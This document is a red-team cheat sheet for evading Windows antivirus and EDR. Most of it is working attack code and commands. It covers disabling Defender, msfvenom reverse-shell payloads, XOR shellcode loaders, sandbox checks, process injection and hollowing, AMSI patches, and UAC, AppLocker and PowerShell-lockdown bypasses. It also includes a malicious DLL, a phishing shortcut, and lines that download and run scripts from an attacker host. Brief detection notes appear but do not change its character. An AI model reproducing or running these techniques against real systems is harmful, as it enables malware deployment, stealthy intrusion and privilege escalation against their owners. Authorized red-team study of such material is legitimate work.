Legend:
[STATIC]= On-disk bypass |[DYNAMIC]= In-memory bypass |[LOLBAS]= Living Off the Land Binary |[UAC]= Requires medium integrity process
1. Introduction — AV / EDR Overview
What it means: Antivirus (AV) and Endpoint Detection and Response (EDR) are the primary defenses you must evade on every red team engagement. Understanding exactly HOW they detect malware tells you exactly how to bypass them.
Payload on disk │ ├──► Static Analysis → signature, hash, strings, imports, entropy │ │ (if passes) ▼ Payload loaded into memory │ ├──► Dynamic Analysis → behavior, API calls, network activity, heuristics │ ├──► AMSI → PowerShell / .NET in-memory script scanning │ └──► ETW / EDR hooks → kernel callbacks, user-mode API hooks, events
Detection Layers
| Layer | What it Checks | Evasion Goal |
|---|---|---|
| Static | Bytes on disk — hashes, strings, imports, entropy | Change the file so it doesn't match signatures |
| Dynamic / Behavior | Runtime API calls, memory writes, child processes | Look like a legitimate process |
| AMSI | Scripts (PS1, VBScript, .NET) sent to AV engine in-memory | Patch / neutralize AMSI before running scripts |
| ETW | Event Tracing for Windows — kernel-level telemetry | Patch ETW provider to blind EDR |
| EDR hooks | DLL injection into every process, hooks Win32 API | Use direct syscalls / unhook DLLs |
2. Microsoft Defender Antivirus
What it means: Windows Defender (now Microsoft Defender Antivirus) is enabled by default on all Windows 10/11 and Server 2016+ machines. It is your primary obstacle. It uses signature-based detection, heuristics, cloud lookup, behavior monitoring, AMSI, and network protection.
2.1 Check Defender Status
# Check if Defender is running and which features are active
Get-MpComputerStatus | Select AMRunningMode, RealTimeProtectionEnabled, `
AMServiceEnabled, AntispywareEnabled, AntivirusEnabled, IsTamperProtected
# Check definition version
Get-MpComputerStatus | Select AntivirusSignatureVersion, AntivirusSignatureLastUpdated
2.2 Disable Defender (Requires Admin — Lab Only)
# Disable Real-Time Protection (temporarily — persists until reboot or re-enabled)
Set-MpPreference -DisableRealtimeMonitoring $true
# Disable all features
Set-MpPreference -DisableRealtimeMonitoring $true `
-DisableBehaviorMonitoring $true `
-DisableIOAVProtection $true `
-DisableIntrusionPreventionSystem $true
# Exclude a path from scanning
Add-MpPreference -ExclusionPath "C:\Windows\Temp"
Add-MpPreference -ExclusionPath "C:\Tools"
Add-MpPreference -ExclusionExtension ".exe"
# Exclude a process
Add-MpPreference -ExclusionProcess "python.exe"
Add-MpPreference -ExclusionProcess "svchost.exe"
# CrackMapExec — disable Defender remotely (if admin)
crackmapexec smb <TARGET_IP> -u admin -p 'Pass123!' \
-x "powershell Set-MpPreference -DisableRealtimeMonitoring \$true"
# Via Sliver session
[session] sliver > execute -o powershell \
"Set-MpPreference -DisableRealtimeMonitoring \$true"
2.3 Defender Exclusion Checks (Recon)
# Check existing exclusions (may reveal safe drop paths)
Get-MpPreference | Select ExclusionPath, ExclusionProcess, ExclusionExtension
# Check if Tamper Protection is on (prevents disabling via PowerShell if true)
Get-MpComputerStatus | Select IsTamperProtected
2.4 Test Payload Against Defender
# Check with ThreatCheck (finds exact byte triggering detection)
ThreatCheck.exe -f payload.exe -e Defender
# Identify the specific string that triggers detection
ThreatCheck.exe -f payload.exe -e AMSI
# Online multi-AV scan (use with care — uploads to cloud)
# https://antiscan.me ← no distribution to AV vendors
# https://nodistribute.com ← similar policy
# AVOID: VirusTotal — shares samples with AV vendors
3. Static Analysis
What it means: Static analysis is what an AV does BEFORE executing your file — it scans the bytes on disk looking for known bad signatures, suspicious strings, imports, and high entropy (encrypted/packed) sections. Your goal is to make the file look different enough that no signature matches.
3.1 How AV Detects Statically
File bytes ──► Hash check (MD5/SHA1/SHA256) ──► Known malware DB
──► String scan (function names, URLs, commands)
──► Import table scan (VirtualAlloc, WriteProcessMemory, etc.)
──► Entropy analysis (>7.0 = likely encrypted/packed)
──► YARA rules (pattern matching)
3.2 Obfuscation — Change the Static Fingerprint
# Method 1: Garble (Go source obfuscation — used with Sliver)
# Scrambles symbol names, strings, and control flow at compile time
go install mvdan.cc/garble@latest
garble -seed=random build .
# Method 2: Shikata Ga Nai (msfvenom encoder — still partially effective)
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=<IP> LPORT=4444 \
-e x64/xor_dynamic \
-f exe -o encoded.exe
# Method 3: Multiple encoding passes
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=<IP> LPORT=4444 \
-e x64/xor_dynamic -i 5 \
-f raw | msfvenom -e x64/xor_dynamic -i 5 \
-f exe -o multi_encoded.exe
3.3 Payload Encryption
# XOR encrypt shellcode — basic but effective against signature matching
shellcode = b"\xfc\x48\x83..." # raw shellcode bytes
key = 0x41
encrypted = bytes([b ^ key for b in shellcode])
# Loader decrypts at runtime — no plain shellcode on disk
with open("loader.bin", "wb") as f:
f.write(encrypted)
// C# XOR loader — decrypts and executes in memory
byte[] key = { 0x41 };
byte[] enc = File.ReadAllBytes("shellcode.bin");
byte[] sc = enc.Select((b, i) => (byte)(b ^ key[i % key.Length])).ToArray();
IntPtr mem = VirtualAlloc(IntPtr.Zero, (uint)sc.Length,
0x3000, 0x40); // MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
Marshal.Copy(sc, 0, mem, sc.Length);
CreateThread(IntPtr.Zero, 0, mem, IntPtr.Zero, 0, IntPtr.Zero);
3.4 String Obfuscation (PowerShell)
# Split/concatenate strings to break signature detection
$s = "Invoke" + "-" + "Mimikatz"
IEX $s
# Base64 encoding (bypasses basic string scan — not AMSI)
$cmd = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("Invoke-Mimikatz"))
powershell -EncodedCommand $cmd
# Character code substitution
$s = [char]73+[char]110+[char]118+[char]111+[char]107+[char]101
# = "Invoke"
# Invoke-Obfuscation (automated PowerShell obfuscation)
Import-Module ./Invoke-Obfuscation.psd1
Invoke-Obfuscation
# Inside interactive menu:
# TOKEN → ALL → 1 (token obfuscation)
# ENCODING → 5 (SecureString encoding)
3.5 Binary Packing
# UPX — compresses binary, changes entropy profile
upx --best payload.exe -o packed.exe
# Note: UPX headers are themselves signatured — use with customization
upx --best --compress-icons=0 --strip-relocs=0 payload.exe
# ScareCrow (advanced loader / PE generation)
ScareCrow -I shellcode.bin -domain microsoft.com -o payload.exe
# Donut — converts .NET assembly → position-independent shellcode
donut -a 2 -f 1 -o shellcode.bin Rubeus.exe
4. Dynamic Analysis
What it means: Dynamic analysis (also called behavioral/heuristic analysis) watches your payload AT RUNTIME — what API calls it makes, what it writes to memory, what processes it spawns, what network connections it makes. Modern EDRs hook Windows API functions in user space to monitor this in real time.
4.1 How Dynamic Analysis Works
Process starts
│
├──► EDR DLL injected into process (user-mode hooks)
│ ├── Hook: VirtualAlloc → log allocations
│ ├── Hook: WriteProcessMemory → log writes
│ ├── Hook: CreateRemoteThread → log thread creation
│ └── Hook: NtCreateProcess → log spawned processes
│
├──► Sandbox (if cloud-submitted) — runs in VM, watches behavior
│
└──► ETW (Event Tracing for Windows) — kernel-level visibility
4.2 Sandbox Detection (Know When You're Being Analyzed)
// Check for sandbox artifacts before executing payload
bool isSandbox = false;
// Check username
if (Environment.UserName.ToLower().Contains("sandbox") ||
Environment.UserName.ToLower().Contains("virus") ||
Environment.UserName.ToLower() == "user" ||
Environment.UserName.ToLower() == "test") isSandbox = true;
// Check domain
if (Environment.MachineName.ToLower().Contains("sandbox") ||
Environment.MachineName.ToLower() == "desktop-") isSandbox = true;
// Check if running in a VM (common sandbox indicator)
var regKey = Registry.LocalMachine.OpenSubKey(
@"SOFTWARE\VMware, Inc.\VMware Tools");
if (regKey != null) isSandbox = true;
// Check number of CPUs (sandboxes often have 1)
if (Environment.ProcessorCount <= 1) isSandbox = true;
// Check RAM (sandboxes often have < 2GB)
var cs = new ManagementObject("Win32_ComputerSystem.Name='.'");
ulong ram = (ulong)cs["TotalPhysicalMemory"];
if (ram < 2147483648) isSandbox = true; // < 2GB
// Sleep to bypass time-limited sandboxes
Thread.Sleep(30000); // 30 second sleep — sandbox may time out
if (!isSandbox) RunPayload();
4.3 API Unhooking (Bypass EDR User-Mode Hooks)
// EDR injects a DLL and hooks functions in ntdll.dll
// Solution: Re-read a clean ntdll.dll from disk and overwrite the hooked copy
// Perun's Fart / Fresh Copy unhooking
// Key technique used by tools like ScareCrow, Havoc, Sliver (optional)
// Manual ntdll unhooking concept:
// 1. Open a handle to ntdll.dll on disk
// 2. Map it into memory
// 3. Compare .text section to in-memory version
// 4. Replace hooked bytes with clean bytes from disk version
// Tools that implement unhooking:
// - Lunar (C# unhooker)
// - RefleXXion (D/Invoke syscalls)
// - Hell's Gate / Halo's Gate (syscall enumeration)
4.4 Direct Syscalls (Bypass API Hooks Entirely)
// Instead of calling VirtualAlloc (which EDR hooks),
// call the underlying NT syscall directly using the syscall number
// NtAllocateVirtualMemory syscall stub (x64)
// syscall numbers differ per Windows version — use dynamic resolution
// Tools using direct syscalls:
// - D/Invoke (DinvokeSharp)
// - SysWhispers3 (generates syscall stubs for any function)
// - Hell's Gate (reads syscall numbers from memory at runtime)
4.5 Sleep Obfuscation
// XOR-encrypt beacon memory while sleeping (so memory scanner can't find it)
// Technique used by Cobalt Strike, Sliver (optionally), Havoc
// Concepts:
// 1. Before sleeping: encrypt implant's own memory region with XOR/AES
// 2. Set memory permissions to non-executable
// 3. Sleep
// 4. On wake: decrypt memory, restore permissions, continue
// Tools implementing sleep obfuscation:
// - Ekko (C-based sleep obfuscation PoC by Cracked5pider)
// - Foliage (APC-based sleep obfuscation)
// - Cronos (ROP-based)
5. Process Injection
What it means: Instead of running your shellcode in your own process (where it's easily spotted),
you inject it into a legitimate, trusted process like explorer.exe, svchost.exe, or notepad.exe.
This hides your malicious code inside a whitelisted process, making it much harder to detect.
5.1 Classic Shellcode Injection (VirtualAllocEx + WriteProcessMemory)
// Step 1: Get a handle to the target process
IntPtr hProcess = OpenProcess(
PROCESS_ALL_ACCESS, false, targetPid);
// Step 2: Allocate RWX memory in the target process
IntPtr rBuffer = VirtualAllocEx(
hProcess, IntPtr.Zero, (uint)shellcode.Length,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Step 3: Write shellcode into the allocation
WriteProcessMemory(
hProcess, rBuffer, shellcode, (uint)shellcode.Length, out _);
// Step 4: Create a remote thread to execute the shellcode
IntPtr hThread = CreateRemoteThread(
hProcess, IntPtr.Zero, 0, rBuffer, IntPtr.Zero, 0, IntPtr.Zero);
# PowerShell-based injection (simple — highly detected today)
$code = [System.IO.File]::ReadAllBytes("C:\shellcode.bin")
$target = Get-Process notepad
$handle = [Runtime.InteropServices.Marshal]::
GetFunctionPointerForDelegate(...) # OpenProcess
# Practical tool: Invoke-Shellcode (PowerSploit)
Import-Module PowerSploit\CodeExecution\Invoke-Shellcode.ps1
Invoke-Shellcode -ShellCode $code -ProcessID $target.Id
5.2 Process Hollowing
What it means: You start a legitimate process (like svchost.exe) in a SUSPENDED state,
hollow out its code from memory, write your shellcode in its place, then resume execution.
The process looks 100% legitimate to task managers and AV.
// 1. Create target process SUSPENDED
CreateProcess(
"C:\\Windows\\System32\\svchost.exe", null, IntPtr.Zero,
IntPtr.Zero, false, CREATE_SUSPENDED, IntPtr.Zero, null,
ref si, out pi);
// 2. Read the PEB to find the base address of the image
// (ZwQueryInformationProcess to get PEB, then read ImageBaseAddress)
// 3. Unmap the original executable
ZwUnmapViewOfSection(pi.hProcess, baseAddress);
// 4. Allocate new memory at the same base address
VirtualAllocEx(pi.hProcess, baseAddress, payloadSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 5. Write the malicious PE into the allocation
WriteProcessMemory(pi.hProcess, baseAddress, payload, payloadSize, out _);
// 6. Resume the thread — now running your payload
ResumeThread(pi.hThread);
5.3 DLL Injection
// Write the path of your malicious DLL into target process
// Then call LoadLibrary remotely via CreateRemoteThread
IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, targetPid);
// Allocate space for the DLL path
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero,
(uint)dllPath.Length, MEM_COMMIT, PAGE_READWRITE);
// Write DLL path
WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllPath),
(uint)dllPath.Length, out _);
// Get address of LoadLibraryA in kernel32.dll (same in all processes)
IntPtr loadLib = GetProcAddress(
GetModuleHandle("kernel32.dll"), "LoadLibraryA");
// Call LoadLibraryA in the target process
CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);
5.4 Reflective DLL Injection
What it means: The DLL loads ITSELF into memory without calling LoadLibrary — so there's
no disk artifact and no Windows loader involvement. Used by Meterpreter, Cobalt Strike, and Sliver
internally.
# Tools implementing reflective DLL injection:
# - ReflectiveDLLInjection (original by Stephen Fewer, GitHub)
# - Invoke-ReflectivePEInjection (PowerSploit)
# - donut (converts any .NET/.exe to reflective shellcode)
# Use donut to convert an exe to position-independent shellcode
donut.exe -a 2 -f 1 -o shellcode.bin -i Rubeus.exe
# Inject shellcode via any injector
# Now Rubeus runs in-memory, no file drop needed
5.5 APC Queue Injection (Early Bird)
// Create process SUSPENDED
CreateProcess("..\\svchost.exe", ..., CREATE_SUSPENDED, ..., out pi);
// Queue an APC (Asynchronous Procedure Call) into the main thread
// The shellcode will execute when the thread is "alertable"
VirtualAllocEx(pi.hProcess, ...);
WriteProcessMemory(pi.hProcess, ...);
QueueUserAPC(shellcodeAddr, pi.hThread, IntPtr.Zero);
// Resume thread — APC fires before any code runs (Early Bird)
ResumeThread(pi.hThread);
⚠️ Detection: Process injection is detected via: - Sysmon Event ID 8 (CreateRemoteThread) - Sysmon Event ID 10 (Process Access with PROCESS_VM_WRITE) - Memory scans finding shellcode in non-image-backed memory regions - EDR hooks on
VirtualAllocEx,WriteProcessMemory,CreateRemoteThread
6. Antimalware Scan Interface (AMSI)
What it means: AMSI is a Windows API that intercepts PowerShell scripts, VBScript, JScript, .NET, and other scripting content BEFORE execution and sends it to the installed AV engine for scanning — even if the content is only in memory. This is why base64-encoded scripts are still caught: the script content is decoded by PowerShell, THEN scanned by AMSI before running.
PowerShell script / command
│
▼
AMSI buffer
│
▼
amsi.dll → AmsiScanBuffer()
│
▼
Windows Defender (or other AV)
│
├── AMSI_RESULT_CLEAN → run the script
└── AMSI_RESULT_DETECTED → block + alert
6.1 AMSI Bypass — Memory Patching (Most Common)
What it means: AmsiScanBuffer is the function in amsi.dll that does the actual scanning.
If you overwrite its first few bytes with a ret instruction (return immediately), the function
returns "clean" for every scan, effectively blinding AMSI for that PowerShell session.
# Classic AMSI patch — patches AmsiScanBuffer to return AMSI_RESULT_CLEAN (0x80070057)
# RAW (will be caught) — use obfuscated version in real ops
$a=[Ref].Assembly.GetTypes()
ForEach($b in $a) {
if ($b.Name -like "*iUtils") {
$c=$b
}
}
$d=$c.GetFields('NonPublic,Static')
ForEach($e in $d) {
if ($e.Name -like "*Context") {
$f=$e
}
}
$g=$f.GetValue($null)
[IntPtr]$ptr=$g
[Int32[]]$buf=@(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf,0,$ptr,1)
# Obfuscated version (split strings + char codes to evade AMSI detecting the bypass)
$w = 'System.Management.Automation.A'
$s = [Ref].Assembly.GetType($w+'msiUtils')
$f = $s.GetField(('amsi'+'Context'),[Reflection.BindingFlags]'NonPublic,Static')
$x = $f.GetValue($null)
[Runtime.InteropServices.Marshal]::WriteInt32($x, 0x41414141)
6.2 AMSI Bypass — AmsiScanBuffer Direct Patch (PowerShell)
# Directly patch AmsiScanBuffer in amsi.dll to return 0x80070057 immediately
# This is the most reliable manual technique
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) # mov eax, 0x80070057; ret
$LoadLibrary = [System.Runtime.InteropServices.Marshal]::
GetDelegateForFunctionPointer(...)
$AmsiDll = [Runtime.InteropServices.Marshal]::
GetHINSTANCE([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -and $_.Location -match "amsi" })
# Practical: use Matt Graeber's one-liner (obfuscated in real usage)
# [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').
# GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
6.3 AMSI Bypass — amsiInitFailed Flag
# Force AMSI to report initialization failure (simplest technique)
# Highly detected in plain form — always obfuscate
# Concatenate to avoid string detection
$t = [Ref].Assembly.GetType('System.Management.Automation.'+'AmsiUtils')
$f = $t.GetField('amsi'+'InitFailed','NonPublic,Static')
$f.SetValue($null,$true)
6.4 AMSI Bypass — Downgrade Attack
# Force PowerShell 2.0 (no AMSI support in PS 2.0)
powershell -Version 2 -Command "IEX(New-Object Net.WebClient).DownloadString('http://<IP>/Invoke-Mimikatz.ps1')"
# Check if PS 2.0 is available
powershell -Version 2 -Command "$PSVersionTable"
# Note: PS 2.0 is not available by default on Windows 10 (needs .NET 2.0)
6.5 Find What Part Triggers AMSI
# AmsiTrigger — scan a PS1 file and highlight the exact triggering bytes
AmsiTrigger.exe -i Invoke-Mimikatz.ps1 -f 3
# ThreatCheck (preferred)
ThreatCheck.exe -f payload.ps1 -e AMSI
# Binary-searches the file to find the smallest triggering chunk
⚠️ Detection: AMSI bypass attempts are logged by: - Event ID 4104 (PowerShell Script Block Logging) — logs the obfuscated bypass code itself - Defender alerts on
amsiInitFailedand similar known-bad strings - ETW Provider:Microsoft-Antimalware-Scan-Interface- Obfuscation of AMSI bypasses (char substitution, string splitting) is the standard opsec
7. Open-Source Software Evasion
What it means: A major problem with using open-source offensive tools (Mimikatz, Rubeus, SharpHound, Metasploit payloads) is that they are well-signatured — AV vendors have had years to fingerprint every byte. The solution is: compile your own, obfuscate the source, or load them in-memory so static AV never sees them on disk.
7.1 Identify What's Triggering Detection
# ThreatCheck — binary search for the exact triggering offset
ThreatCheck.exe -f Rubeus.exe -e Defender
# DefenderCheck (similar)
DefenderCheck.exe Rubeus.exe
# Output will tell you exactly which byte range triggers detection
# You can then modify the source code or obfuscate that specific function
7.2 Compile Tools Yourself (Don't Use Pre-built)
# Clone and compile Rubeus yourself — pre-built releases are signatured
git clone https://github.com/GhostPack/Rubeus
cd Rubeus
# Open in Visual Studio → Release → Build
# Same for SharpHound, Certify, Seatbelt, SharpView
# Freshly compiled binaries have different hashes
# Change the AssemblyInfo.cs to alter metadata
# File: Properties/AssemblyInfo.cs
# Change: AssemblyTitle, AssemblyDescription, AssemblyCompany, AssemblyProduct
7.3 Convert .NET Tools to Shellcode (No Disk Drop)
# Donut — .exe → position-independent shellcode
donut.exe -a 2 -f 1 -o rubeus.bin -i Rubeus.exe
donut.exe -a 2 -f 1 -o rubeus.bin -i Rubeus.exe -p "kerberoast /nowrap"
# Inject shellcode via any injector
# Rubeus runs in memory of a chosen process — no file on disk
7.4 Execute Assemblies Directly in Memory
# Sliver execute-assembly — runs .NET binary in a sacrificial process
[session] sliver > execute-assembly Rubeus.exe kerberoast /nowrap
# Cobalt Strike execute-assembly does the same
beacon> execute-assembly Rubeus.exe kerberoast
# PowerShell — load .NET assembly from URL into memory
$data = (New-Object Net.WebClient).DownloadData('http://<IP>/Rubeus.exe')
$asm = [Reflection.Assembly]::Load($data)
$asm.EntryPoint.Invoke($null, @(,[string[]]@("kerberoast","/nowrap")))
8. User Account Control (UAC)
What it means: UAC is the Windows mechanism that limits most programs to standard user privileges even when logged in as an admin. A "medium integrity" token is the default even for admins. To get a "high integrity" token (full admin), you normally need a UAC prompt. Bypassing UAC silently means going from medium → high integrity without the user seeing a prompt.
Admin user logged in
│
├──► Default token: Medium Integrity (limited)
│
└──► After UAC elevation: High Integrity (full admin)
↑
UAC bypass bypasses this prompt
8.1 Check Current Integrity Level
# Check integrity level of current process
whoami /groups | findstr /i "integrity"
# "Medium Mandatory Level" = standard admin token (needs bypass)
# "High Mandatory Level" = already elevated
# "System Mandatory Level" = SYSTEM
# Get-Process check
[System.Security.Principal.WindowsIdentity]::GetCurrent().Groups |
Where-Object { $_.Value -like "*-5-32-544" }
8.2 fodhelper.exe Registry Hijack (No File Drop)
:: fodhelper.exe is auto-elevated (runs as High IL without UAC prompt)
:: It reads a registry key under HKCU — which we control
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe" /f
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /v "DelegateExecute" /f
fodhelper.exe
:: cmd.exe launches at High Integrity — no UAC prompt
:: Cleanup
REG DELETE HKCU\Software\Classes\ms-settings /f
# PowerShell version — launch your payload at High IL
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
-Force -Value "C:\Windows\Temp\beacon.exe"
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
-Name "DelegateExecute" -Value "" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"
# Cleanup
Remove-Item -Path "HKCU:\Software\Classes\ms-settings" -Recurse -Force
8.3 eventvwr.exe MSC Hijack
:: eventvwr.exe auto-elevated — reads registry key for .msc association
REG ADD HKCU\Software\Classes\mscfile\Shell\Open\command /d "C:\Temp\beacon.exe" /f
eventvwr.exe
REG DELETE HKCU\Software\Classes\mscfile /f
8.4 SilentCleanup Scheduled Task
:: SilentCleanup task runs elevated automatically (no prompt)
:: It uses %windir% environment variable
SET windir=cmd /k C:\Temp\beacon.exe
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
SET windir=C:\Windows :: cleanup
8.5 CMSTP Bypass (COM+ Method)
# CMSTP.exe accepts an INF file — can execute COM scriptlets at High IL
$inf = @"
[version]
Signature=`$chicago`$
AdvancedINF=2.5
[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection
[RunPreSetupCommandsSection]
C:\Windows\Temp\beacon.exe
taskkill /IM cmstp.exe /F
[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7
[AllUSer_LDIDSection]
"HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnExpand%",""
[Strings]
ServiceName="Backdoor"
ShortSvcName="Backdoor"
"@
$inf | Out-File C:\Windows\Temp\bypass.inf
cmstp.exe /ni /s C:\Windows\Temp\bypass.inf
8.6 SharpBypassUAC (Automated)
# SharpBypassUAC — automated UAC bypass tool (.NET)
SharpBypassUAC.exe -b fodhelper -e aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIA...
# -e = base64 encoded command to run at High IL
# Via Sliver execute-assembly
[session] sliver > execute-assembly SharpBypassUAC.exe \
-b fodhelper -c "C:\Windows\Temp\beacon_high.exe"
9. Evading Application Whitelisting — AppLocker
What it means: AppLocker is Windows' application whitelisting feature. When enabled,
it blocks execution of any .exe, .dll, .ps1, or .msi not on a whitelist. Typically it allows
anything under C:\Windows\ and C:\Program Files\. LOLBAS (Living Off the Land Binaries)
are Microsoft-signed binaries already in C:\Windows\ that can be abused to execute arbitrary
code while appearing fully whitelisted.
9.1 Enumerate AppLocker Policy
# Check if AppLocker is enforced
Get-AppLockerPolicy -Effective | Format-List
# Test if your binary would be blocked
Get-AppLockerPolicy -Effective | Test-AppLockerPolicy -Path C:\Users\user\payload.exe
# Check which rules are in place
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections
# List enforced rules
(Get-AppLockerPolicy -Effective).RuleCollections |
ForEach-Object { $_.DisplayName }
9.2 Find Writable Paths Under AppLocker-Allowed Directories
# AppLocker often allows anything under C:\Windows\ — find writable subdirs
icacls "C:\Windows\Tasks" | findstr "BUILTIN\Users"
icacls "C:\Windows\Temp"
icacls "C:\Windows\Tracing"
icacls "C:\Windows\System32\spool\drivers\color"
# Common writable paths: Tasks, Temp, Tracing
10. LOLBAS: InstallUtil
What it means: InstallUtil.exe is a Microsoft-signed .NET utility in C:\Windows\Microsoft.NET\
used to install and uninstall .NET components. It supports running code from an assembly's
Installer class — specifically the Uninstall() method when called with /U. This is not
restricted by AppLocker (it's in C:\Windows\) and bypasses the need for a standard Main().
10.1 Create the Payload Assembly
// Compile as a .NET Class Library (.dll) or .exe
// The magic: Installer class methods run when InstallUtil is called
using System;
using System.ComponentModel;
using System.Configuration.Install;
using System.Runtime.InteropServices;
[System.ComponentModel.RunInstaller(true)]
public class Payload : System.Configuration.Install.Installer
{
// This method is called with /U flag
[System.Security.Permissions.SecurityPermission(
System.Security.Permissions.SecurityAction.Demand)]
public override void Uninstall(
System.Collections.IDictionary savedState)
{
// Your code here — runs during InstallUtil /U
System.Diagnostics.Process.Start("cmd.exe",
"/c C:\\Windows\\Temp\\beacon.exe");
}
}
10.2 Execute via InstallUtil
:: Find InstallUtil.exe (multiple versions may exist)
dir C:\Windows\Microsoft.NET\* /s /b | findstr InstallUtil.exe
:: Run the payload — /logfile= and /LogToConsole=false suppress output
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe ^
/logfile= /LogToConsole=false /U payload.exe
:: 32-bit version
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe ^
/logfile= /LogToConsole=false /U payload.exe
10.3 InstallUtil + AppLocker Bypass
:: Even if payload.exe is blocked by AppLocker, InstallUtil itself is allowed
:: Place payload in C:\Windows\Tasks (writable by users)
copy payload.exe C:\Windows\Tasks\update.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe ^
/logfile= /LogToConsole=false /U C:\Windows\Tasks\update.exe
⚠️ Detection: Event ID 4688 (new process — InstallUtil.exe running from unusual path), Sysmon Event 1 (process creation), Event 4104 if combined with PowerShell.
11. LOLBAS: RunDll32
What it means: RunDll32.exe is a Microsoft-signed Windows utility that executes functions
inside DLL files — it loads the DLL and calls the specified export. Because it's in C:\Windows\System32\,
it is whitelisted by default AppLocker policies. You can craft a DLL with any exported function name
and execute it via RunDll32.
11.1 Execute DLL Export via RunDll32
:: Basic syntax
rundll32.exe <path_to_dll>,<ExportedFunction> [args]
:: Execute a DLL with an exported function named "Start"
rundll32.exe C:\Windows\Temp\evil.dll,Start
:: Execute via shell32.dll (load arbitrary DLL via Shell extension)
rundll32.exe shell32.dll,Control_RunDLL C:\Windows\Temp\evil.dll
11.2 Create a Malicious DLL (C)
// evil.c — compile as DLL
// gcc -shared -o evil.dll evil.c (MinGW on Linux)
// Or Visual Studio → DLL project
#include <windows.h>
// This function is called by RunDll32
__declspec(dllexport) void Start(
HWND hwnd, HINSTANCE hinst,
LPSTR lpszCmdLine, int nCmdShow)
{
// Your payload
WinExec("C:\\Windows\\Temp\\beacon.exe", SW_HIDE);
}
// Also runs at DLL load — even without specifying an export
BOOL WINAPI DllMain(HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpReserved)
{
if (fdwReason == DLL_PROCESS_ATTACH) {
WinExec("C:\\Windows\\Temp\\beacon.exe", SW_HIDE);
}
return TRUE;
}
# Cross-compile DLL on Linux
x86_64-w64-mingw32-gcc -shared -o evil.dll evil.c -lws2_32
# 32-bit
i686-w64-mingw32-gcc -shared -o evil32.dll evil.c
11.3 Deliver via Shortcut / Phishing
# Create a .lnk shortcut that runs RunDll32 + malicious DLL
$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("C:\Users\Public\Update.lnk")
$Shortcut.TargetPath = "C:\Windows\System32\rundll32.exe"
$Shortcut.Arguments = "shell32.dll,Control_RunDLL C:\Users\Public\evil.dll"
$Shortcut.IconLocation = "C:\Windows\System32\shell32.dll,21"
$Shortcut.Save()
11.4 RunDll32 Meterpreter Payload
# Generate a DLL with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=<C2_IP> LPORT=4444 \
-f dll -o payload.dll
# Execute via RunDll32
# rundll32.exe payload.dll,DllRegisterServer
# (Note: msfvenom DLL runs from DllMain — any export works)
⚠️ Detection: Sysmon Event 1 —
rundll32.exespawning unusual child processes. Event 4688 —rundll32.exeexecuting DLLs from non-system paths. Hunt:rundll32.exewith no parent, or parent =explorer.exe+ non-standard DLL path.
12. PowerShell Constrained Language Mode
What it means: PowerShell Constrained Language Mode (CLM) restricts what can be executed in
PowerShell when AppLocker or Device Guard is enforced. In CLM, you cannot:
- Call Windows API directly via [DllImport]
- Use COM objects
- Use Add-Type to compile C# on the fly
- Run most offensive PowerShell tools (PowerView, PowerUp, Invoke-Mimikatz)
The goal of CLM bypass is to restore Full Language Mode so these tools work again.
12.1 Check Current Language Mode
# Check if CLM is active
$ExecutionContext.SessionState.LanguageMode
# Full = FullLanguage (unrestricted)
# Constrained = ConstainedLanguage (CLM active — restricted)
# Restricted = Even more restricted (no variables, no functions)
# NoLanguage = Only external commands, no scripting
12.2 Bypass — PowerShell v2 Downgrade
:: PS 2.0 predates CLM — no enforcement
powershell -Version 2
:: Verify you're in Full Language Mode
$ExecutionContext.SessionState.LanguageMode
:: Should return: FullLanguage
:: Run offensive tools normally
IEX (New-Object Net.WebClient).DownloadString('http://<IP>/PowerView.ps1')
⚠️ Note: PS v2 requires
.NET Framework 2.0— NOT available by default on Windows 10/11. Check with:Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2
12.3 Bypass — __PSLockdownPolicy Environment Variable
:: If CLM is enforced via the environment variable (not via WDAC/AppLocker policy),
:: simply clear it to disable CLM for your session
SET __PSLockDownPolicy=
powershell
$ExecutionContext.SessionState.LanguageMode
:: Returns: FullLanguage
12.4 Bypass — Custom Runspace in .NET
// Create a new PowerShell runspace in C# — no CLM applies to custom runspaces
using System.Management.Automation;
using System.Management.Automation.Runspaces;
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript("IEX(New-Object Net.WebClient).DownloadString('http://<IP>/PowerView.ps1')");
ps.Invoke();
